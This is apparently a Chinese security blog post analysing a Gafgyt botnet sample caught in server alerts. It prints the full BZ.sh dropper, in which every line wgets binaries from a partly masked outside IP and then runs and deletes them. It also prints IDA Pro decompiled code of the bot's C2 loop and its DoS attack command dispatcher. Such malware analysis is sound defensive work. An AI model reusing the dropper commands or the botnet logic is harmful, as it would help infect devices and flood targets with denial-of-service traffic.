今天告警巡逻,又抓到一个Gafgyt僵尸网络,在POST请求里面带了一个wget,尝试下载BZ.sh,然后直接chmod 777 ,再执行sh BZ.sh ,查看BZ.sh 发现直接下载多个后门程序,其中IP地址已经脱敏。
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
#!/bin/bashcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/m-i.p-s.blaze; chmod +x m-i.p-s.blaze; ./m-i.p-s.blaze; rm -rf m-i.p-s.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/m-p.s-l.blaze; chmod +x m-p.s-l.blaze; ./m-p.s-l.blaze; rm -rf m-p.s-l.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/s-h.4.blaze; chmod +x s-h.4.blaze; ./s-h.4.blaze; rm -rf s-h.4.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/x-8.6.blaze; chmod +x x-8.6.blaze; ./x-8.6.blaze; rm -rf x-8.6.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/a-r.m-6.blaze; chmod +x a-r.m-6.blaze; ./a-r.m-6.blaze; rm -rf a-r.m-6.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/x-3.2.blaze; chmod +x x-3.2.blaze; ./x-3.2.blaze; rm -rf x-3.2.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/a-r.m-7.blaze; chmod +x a-r.m-7.blaze; ./a-r.m-7.blaze; rm -rf a-r.m-7.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/p-p.c.blaze; chmod +x p-p.c.blaze; ./p-p.c.blaze; rm -rf p-p.c.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/i-5.8-6.blaze; chmod +x i-5.8-6.blaze; ./i-5.8-6.blaze; rm -rf i-5.8-6.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/m-6.8-k.blaze; chmod +x m-6.8-k.blaze; ./m-6.8-k.blaze; rm -rf m-6.8-k.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/p-p.c.blaze; chmod +x p-p.c.blaze; ./p-p.c.blaze; rm -rf p-p.c.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/a-r.m-4.blaze; chmod +x a-r.m-4.blaze; ./a-r.m-4.blaze; rm -rf a-r.m-4.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/a-r.m-5.blaze; chmod +x a-r.m-5.blaze; ./a-r.m-5.blaze; rm -rf a-r.m-5.blazecd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.212.*.*/m-7.8-k.blaze; chmod +x m-7.8-k.blaze; ./m-7.8-k.blaze; rm -rf m-7.8-k.blaze下载其中的一个文件,经过微步云沙箱判断是恶意的,威胁分类是后门,实际上是僵尸网络,木马家族是 Gafgyt ,查看反编译代码,这个木马主要是发起DoS攻击的。
像是百度杀毒、江民杀毒、瑞星杀毒、熊猫杀毒,都没有检测出病毒;
360杀毒、安天杀毒,均成功检测出病毒,怒赞。
通过 ida pro 反编译,得到如下的C语言代码,大体上的动作:
尝试卸载 "/etc/systmp.d" 目录,并在失败时输出警告信息。通过读取链接文件 "/proc/self/exe" 来获取当前可执行文件的路径。获取本地 IP 地址。调用 fork() 创建一个子进程,并在父进程中等待子进程退出。如果是子进程,再次调用 fork(),并在其中调用 setsid() 将其设置为新的会话并改变工作目录。设置信号处理函数,并进入一个无限循环,不断接收并处理来自网络的命令。/* ida pro 反编译 main */int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ __int64 v3; // rdx __int64 v4; // rdx __int64 v5; // rdx __int64 v6; // rdx __int64 v7; // rdx int v8; // ecx int v9; // r8d int v10; // r9d int v11; // ebx unsigned int v12; // eax __int64 v13; // rbx int v14; // eax int v15; // ebx int Arch; // eax int v17; // r8d int v18; // r9d char v19; // [rsp+0h] [rbp-1100h] __int64 v20[10]; // [rsp+10h] [rbp-10F0h] BYREF char v21; // [rsp+60h] [rbp-10A0h] BYREF _BYTE v22[7]; // [rsp+61h] [rbp-109Fh] BYREF char v23[72]; // [rsp+1060h] [rbp-A0h] BYREF __int64 v24; // [rsp+10A8h] [rbp-58h] int v25; // [rsp+10B0h] [rbp-50h] int v26; // [rsp+10B4h] [rbp-4Ch] unsigned int v27; // [rsp+10B8h] [rbp-48h] __int64 v29; // [rsp+10C0h] [rbp-40h] __int64 v30; // [rsp+10C8h] [rbp-38h] _BYTE *v31; // [rsp+10D0h] [rbp-30h] _BYTE *i; // [rsp+10D8h] [rbp-28h] unsigned int v33; // [rsp+10E4h] [rbp-1Ch] __int64 j; // [rsp+10E8h] [rbp-18h] v19 = (char)argv; change_permissions("reboot", argv, envp); change_permissions("wget", argv, v3); change_permissions("shutdown", argv, v4); change_permissions("tftp", argv, v5); change_permissions("tftp-hpa", argv, v6); change_permissions("curl", argv, v7); v24 = fopen("/root/bin", &unk_410CBF); if ( v24 ) fclose(v24); else fwrite("Warning: could not open file '/root/bin'\n", 1LL, 41LL, stderr); if ( (unsigned int)umount("/etc/systmp.d") == -1 ) fprintf( (_DWORD)stderr, (unsigned int)"Warning: could not unmount directory '%s'\n", (unsigned int)"/etc/systmp.d", v8, v9, v10, (char)argv); readlink("/proc/self/exe", v23, 63LL); v11 = time(0LL); v12 = getpid(); srandom(v11 ^ v12); v13 = time(0LL); v14 = getpid(); init_rand(v13 ^ v14); getOurIP(); v25 = 0; v26 = 0; initKiller(0LL, v23); v27 = fork(); if ( v27 ) { waitpid(v27, 0LL, 0LL); exit(0); } if ( (unsigned int)fork() ) exit(0); setsid(); chdir(&unk_410C2F); signal(13LL, 1LL); while ( 1 ) { while ( (unsigned int)initConnection() ) sleep(5LL); v15 = inet_ntoa((unsigned int)ourIP); Arch = getArch(); sockprintf(mainCommSock, (unsigned int)"%s \x1B[1;31mip:%s", Arch, v15, v17, v18, v19); while ( 1 ) { v25 = recvLine((unsigned int)mainCommSock, &v21, 4096LL); if ( v25 == -1 ) break; cleanUpChildProcesses(); v22[v25 - 1] = 0; trim(&v21); if ( v21 == 33 ) { v29 = strtok(v22, &unk_410C11); v30 = strtok(0LL, &unk_411411); if ( v30 ) { trim(v30); v31 = (_BYTE *)strtok(v30, &unk_410C11); for ( i = v31; *i; ++i ) *i = toupper((unsigned int)(char)*i); memset(v20, 0LL, sizeof(v20)); v20[0] = (__int64)v31; v33 = 1; for ( j = strtok(0LL, &unk_410C11); j; j = strtok(0LL, &unk_410C11) ) v20[v33++] = j; processCmd(v33, v20); } } } }}仔细分析循环中的代码:
外部无限循环: 最外层的 while(1) 表示一个无限循环,程序将持续运行直到被手动中断或出现特定条件终止。
内部连接初始化循环:这个循环中,initConnection() 函数的返回值被用于检查网络连接的初始化是否成功。当初始化连接失败时,程序会等待5秒钟然后尝试重新初始化连接。
获取本地 IP 地址和系统架构:通过 inet_ntoa 获取本地 IP 地址,并使用 getArch 获取系统的架构信息。
网络通信和命令处理:在内部的 while(1) 循环中,程序通过 recvLine 函数接收来自 mainCommSock 的数据。当接收失败时(返回值为 -1),会中断内部循环并回到外部循环。否则,它会清理子进程,然后开始处理收到的命令。
收到的命令会被解析和处理:如果收到的命令是感叹号(!,也就是代码里面的 33,其实是ascii码),那么接下来的代码会将接收到的数据进行解析,使用 strtok 函数来拆分命令字符串为不同的部分,然后执行相应的命令,具体执行的命令在 processCmd 函数中,代码如下:
/* ida pro 反编译 processCmd */void __fastcall processCmd(int a1, _QWORD *a2){ unsigned int v2; // ebx unsigned int v3; // r12d unsigned __int16 v4; // ax unsigned __int16 v5; // ax unsigned int v6; // ebx unsigned __int16 v7; // ax __int64 v8; // rbx __int64 v9; // rbx unsigned int v10; // eax unsigned int v11; // r12d unsigned int v12; // ebx unsigned int v13; // eax int v14; // ebx int v15; // [rsp+14h] [rbp-7Ch] int v16; // [rsp+18h] [rbp-78h] int v17; // [rsp+1Ch] [rbp-74h] __int64 v18; // [rsp+30h] [rbp-60h] unsigned int v19; // [rsp+38h] [rbp-58h] unsigned int v20; // [rsp+3Ch] [rbp-54h] __int64 v21; // [rsp+40h] [rbp-50h] int v22; // [rsp+4Ch] [rbp-44h] int v23; // [rsp+50h] [rbp-40h] int v24; // [rsp+54h] [rbp-3Ch] int v25; // [rsp+58h] [rbp-38h] __int64 j; // [rsp+68h] [rbp-28h] unsigned __int64 i; // [rsp+70h] [rbp-20h] int v28; // [rsp+7Ch] [rbp-14h] if ( a1 > 3 ) { v18 = a2[1]; v19 = atoi(a2[2]); v20 = atoi(a2[3]); if ( (unsigned int)strcoll(*a2, "RANDHEX") ) { if ( (unsigned int)strcoll(*a2, "STD") ) { if ( (unsigned int)strcoll(*a2, "UDPRAW") ) { if ( (unsigned int)strcoll(*a2, "TCPLEGIT") ) { if ( (unsigned int)strcoll(*a2, "VSE") ) { if ( (unsigned int)strcoll(*a2, "SYNBYPASS") ) { if ( (unsigned int)strcoll(*a2, "HANDSHAKE") ) { if ( (unsigned int)strcoll(*a2, "UDPPLAIN") ) { if ( (unsigned int)strcoll(*a2, "SOCKET") ) { if ( !(unsigned int)strcoll(*a2, "WEBSERVER") ) { v11 = (unsigned __int16)atoi(a2[3]); v12 = (unsigned __int16)atoi(a2[2]); v13 = inet_addr(a2[1]); atk_WEBSERVER(v13, v12, v11); } if ( !(unsigned int)strcasecmp(*a2, "STOP") || !(unsigned int)strcasecmp(*a2, "stop") || !(unsigned int)strcasecmp(*a2, "Stop") ) { v28 = 0; for ( i = 0LL; i < numpids; ++i ) { if ( *(_DWORD *)(4 * i + pids) ) { v14 = *(_DWORD *)(4 * i + pids); if ( v14 != (unsigned int)getpid() ) { kill(*(unsigned int *)(4 * i + pids), 9LL); ++v28; } } } } } else { v8 = time(0LL); v9 = v8 + (int)atoi(a2[3]); v10 = atoi(a2[2]); atk_SOCKET(a2[1], v10, v9); } } else { atk_UDPPLAIN(v18, v19, (int)v20); } } else { v6 = (unsigned __int16)atoi(a2[5]); v7 = atoi(a2[4]); atk_HANDSHAKE(v18, (unsigned __int16)v19, (unsigned __int16)v20, v7, v6); } } else { v5 = atoi(a2[4]); atk_SYNBYPASS(v18, (unsigned __int16)v19, (unsigned __int16)v20, v5); } } else { v2 = (unsigned __int16)atoi(a2[6]); v3 = (unsigned __int16)atoi(a2[5]); v4 = atoi(a2[4]); atk_VSE(v18, (unsigned __int16)v19, (unsigned __int16)v20, v4, v3, v2); } } else { handleCommand("TCPLEGIT", v18, v19, v20, atk_TCPLEGIT); } } else if ( a1 > 5 && (int)atoi(a2[3]) <= 10000 && (int)atoi(a2[5]) <= 0x10000 && (int)atoi(a2[4]) <= 32 && (int)atoi(a2[6]) > 0 ) { v21 = a2[1]; v22 = atoi(a2[2]); v23 = atoi(a2[3]); v24 = atoi(a2[4]); v25 = atoi(a2[5]); if ( a1 <= 6 ) v15 = 1000; else v15 = atoi(a2[6]); if ( a1 <= 7 ) v16 = 1000000; else v16 = atoi(a2[7]); if ( a1 <= 8 ) v17 = 0; else v17 = atoi(a2[8]); if ( strchr(v21, 44LL) ) { for ( j = strtok(v21, &unk_410C29); j; j = strtok(0LL, &unk_410C29) ) { if ( !(unsigned int)listFork() ) { atk_UDPRAW(j, v22, v23, v24, v25, v15, v16, v17); exit(0); } } } else if ( !(unsigned int)listFork() ) { atk_UDPRAW(v21, v22, v23, v24, v25, v15, v16, v17); exit(0); } } } else { handleCommand("STD", v18, v19, v20, atk_STD); } } else { handleCommand("RANDHEX", v18, v19, v20, atk_RANDHAX); } }}对于识别到的命令,代码会调用相应的函数,并传递参数进行执行。例如,对于 "WEBSERVER" 命令,会调用 atk_WEBSERVER 函数执行相应的操作。主要接收的命令包括:
randhex:循环发送随机字符串,不断向目标主机发起连接请求。std:向目标地址连续发送特定数据包,进行DoS攻击,以使其服务受到干扰或不可用。tcplegit:使用原始套接字的函数,发起底层的TCP DoS攻击。vse:模拟了对 TSource 引擎的查询,它发送 UDP 数据包到目标地址,可以控制发送的频率和持续时间。synbypass:模拟了 SYN Bypass,发送一系列的 SYN 包。handshake:模拟了SSL握手,尝试建立HTTPS连接。udpplain:发送UDP数据包。udpraw:发送 UDP 原始数据包。socket:创建大量子进程,每个子进程都尝试建立 TCP 连接并维护一些连接信息,发起TCP DoS攻击。webserver:模拟了对 web 服务器的攻击,它通过建立多个连接,并尝试发送 HTTP 请求,来占用服务器资源或测试服务器的承受能力。